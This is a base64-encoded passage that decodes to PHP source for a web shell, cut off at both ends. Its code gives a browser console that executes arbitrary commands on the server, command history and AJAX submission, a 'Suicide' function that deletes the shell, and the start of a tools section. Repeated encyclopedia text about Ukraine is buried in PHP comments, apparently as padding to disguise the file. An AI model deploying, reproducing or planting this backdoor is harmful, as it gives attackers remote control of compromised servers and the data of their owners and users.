AiXG4iLCAkdGVtcDsKCQlleGl0OwoJfQoJcHJpbnRIZWFkZXIoKTsKPz4KPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOwp2YXIgY3VyID0gMDsKZnVuY3Rpb24ga3AoZSkgewoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7CglpZihuID09IDM4KSB7CgkJY3VyLS07CgkJaWYoY3VyPj0wKQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXIrKzsKCX0gZWxzZSBpZihuID09IDQwKSB7CgkJY3VyKys7CgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1ci0tOwoJfQp9CmZ1bmN0aW9uIGFkZChjbWQpIHsKCWNtZHMucG9wKCk7CgljbWRzLnB1c2goY21kKTsKCWNtZHMucHVzaCgiIik7CgljdXIgPSBjbWRzLmxlbmd0aC0xOwp9Cjwvc2NyaXB0Pgo8P3BocAoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkb2N1bWVudC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZG9jdW1lbnQuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7Cglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsKCQlpZigkdiA9PSAnJykgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOwoJCQljb250aW51ZTsKCQl9CgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwoJfQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7aWYoZG9jdW1lbnQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO30iIHZhbHVlPSI+PiI+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowO21hcmdpbjowOyIgcmVhZG9ubHk+JzsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7Cgl9CgllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlci10b3A6MDt3aWR0aDoxMDAlO21hcmdpbjowOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij4nOwoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsKCXVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOwoJZWNobyAnYnllISc7Cn0KCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJcHJpbnRIZWFkZXIoKTsKCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgewoJCWlmKEB1bmxpbmsoU0VMRl9QQVRIKSkKCQkJZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7CgkJZWxzZQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsKCX0KCWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblRvb2xzKCkgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZ